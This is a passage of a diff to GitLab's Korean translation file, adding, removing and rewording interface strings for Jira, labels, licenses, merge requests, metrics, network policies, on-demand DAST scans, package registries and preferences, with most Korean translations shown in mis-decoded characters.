+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13443,6 +13820,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,8 +14111,8 @@ msgstr "ë¼ë²¨ì€ ì´ìŠˆì™€ 머지 리퀘스트(MR)ì— ì¹´í…Œê³ ë¼ì´ì¦ˆë¥¼ 위
msgid "Labels can be applied to issues and merge requests."
msgstr "ë¼ë²¨ì€ ì´ìŠˆì™€ 머지 리퀘스트(MR)ì— ì‚¬ìš©í•  수 있습니다."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>ë¼ë²¨</span> %{labelTitle} <span>(ì„)를 그룹 ë¼ë²¨ë¡œ 승격하시겠습니까?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "ë ˆì´ë¸” 승격"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,10 +14433,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "ë¼ì´ì„¼ìŠ¤"
@@ -14146,9 +14529,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14164,9 +14544,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14219,6 +14596,9 @@ msgstr "Gitea 저장소 목ë¡"
msgid "List available repositories"
msgstr "사용 가능한 저장소 목ë¡"
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr "실시간 미리보기"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,7 +14674,7 @@ msgstr "ìž ê¸ˆì„ ì°¾ì„ ìˆ˜ 없습니다."
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14342,6 +14725,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14441,9 +14833,6 @@ msgstr "Manifest íŒŒì¼ ê°€ì ¸ì˜¤ê¸°"
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14555,9 +14944,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr "Maven 메타 ë°ì´í„°"
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr "회ì›"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "머지 리퀘스트(MR)"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "머지 리퀘스트(MR) ìƒì„±ë¨"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr ""
msgid "Merge in progress"
msgstr "머지 진행중"
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14819,6 +15214,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -14951,6 +15367,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15165,6 +15596,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "현재 ë¼ì´ì„¼ìŠ¤ì—서는 마ì¼ìŠ¤í†¤ 목ë¡ì„ 사용할 수 없습니다."
msgid "Milestone lists show all issues from the selected milestone."
msgstr "마ì¼ìŠ¤í†¤ 목ë¡ì—는 ì„ íƒí•œ 마ì¼ìŠ¤í†¤ì˜ 모든 문제가 표시ë©ë‹ˆë‹¤."
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15508,6 +15960,9 @@ msgstr ""
msgid "Monitoring"
msgstr "모니터ë§"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "달"
@@ -15697,12 +16152,45 @@ msgstr "네트워í¬"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "절대 아님"
@@ -16181,12 +16732,18 @@ msgstr "저장소 ì—†ìŒ"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "Runners ì—†ìŒ"
msgid "No schedules"
msgstr "ì¼ì • ì—†ìŒ"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16433,9 +16984,6 @@ msgstr "11ì›”"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "확ì¸"
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr "관리ìžë§Œ 가능"
-
msgid "Only admins can delete project"
msgstr ""
@@ -16641,6 +17195,9 @@ msgstr "프로ì íŠ¸ 구성ì›ë§Œ ëŒ“ê¸€ì„ ë‹¬ 수 있습니다."
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr "열기"
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr "외부로 가는 요청"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr "패키지 정보"
-
msgid "Package recipe already exists"
msgstr ""
@@ -16911,6 +17465,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -16926,6 +17486,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -16983,27 +17543,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17052,13 +17603,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17202,8 +17759,8 @@ msgstr "비밀번호 확ì¸"
msgid "Password successfully changed"
msgstr "비밀번호가 성공ì ìœ¼ë¡œ 변경ë˜ì—ˆìŠµë‹ˆë‹¤."
-msgid "Password was successfully updated. Please login with it"
-msgstr "비밀번호가 성공ì ìœ¼ë¡œ ì—…ë°ì´íŠ¸ë˜ì—ˆìŠµë‹ˆë‹¤. 새 비밀번호로 로그ì¸í•´ì£¼ì„¸ìš”."
+msgid "Password was successfully updated. Please sign in again."
+msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
msgstr ""
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,13 +18419,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17877,6 +18437,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr "현재 ìƒíƒœ"
msgid "Profiles|Default notification email"
msgstr "기본 알림 ì´ë©”ì¼"
-msgid "Profiles|Delete Account"
-msgstr "계정 삭제"
-
msgid "Profiles|Delete account"
msgstr "계정 삭제"
-msgid "Profiles|Delete your account?"
-msgstr "ê³„ì •ì„ ì‚­ì œí• ê¹Œìš”?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "ê³„ì •ì„ ì‚­ì œí•˜ë©´ 다ìŒê³¼ ê°™ì€ ì˜í–¥ì´ 있습니다:"
@@ -18567,6 +19124,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18591,6 +19151,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr "ì´ë¦„"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Never"
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,12 +19754,21 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "%{metrics} ì¸ %{exporters} 를 찾았습니다."
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\"><a href=\"%{docsUrl}\">공통 메트릭스</a>ê°€ 발견ë˜ì§€ 않았습니다.</p>"
-
msgid "PrometheusService|Active"
msgstr "활성"
@@ -19254,6 +19826,9 @@ msgstr "추가 정보"
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr ""
msgid "Recent searches"
msgstr "최근 검색"
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -19949,6 +20533,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20018,9 +20605,6 @@ msgstr ""
msgid "Remove priority"
msgstr "우선 순위 삭제"
-msgid "Remove project"
-msgstr "프로ì íŠ¸ ì‚­ì œ"
-
msgid "Remove secondary node"
msgstr ""
@@ -20054,9 +20638,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20069,12 +20650,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20123,15 +20698,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr ""
msgid "Repository Settings"
msgstr "저장소 설정"
-msgid "Repository URL"
-msgstr "저장소 URL"
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20682,6 +21254,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20820,6 +21398,9 @@ msgstr "저장"
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20850,6 +21431,9 @@ msgstr ""
msgid "Save variables"
msgstr "변수 저장"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -20898,6 +21482,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "아래로 스í¬ë¡¤"
@@ -20940,6 +21527,9 @@ msgstr "브랜치 검색"
msgid "Search branches and tags"
msgstr "브랜치 ë° íƒœê·¸ 검색"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "비밀"
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
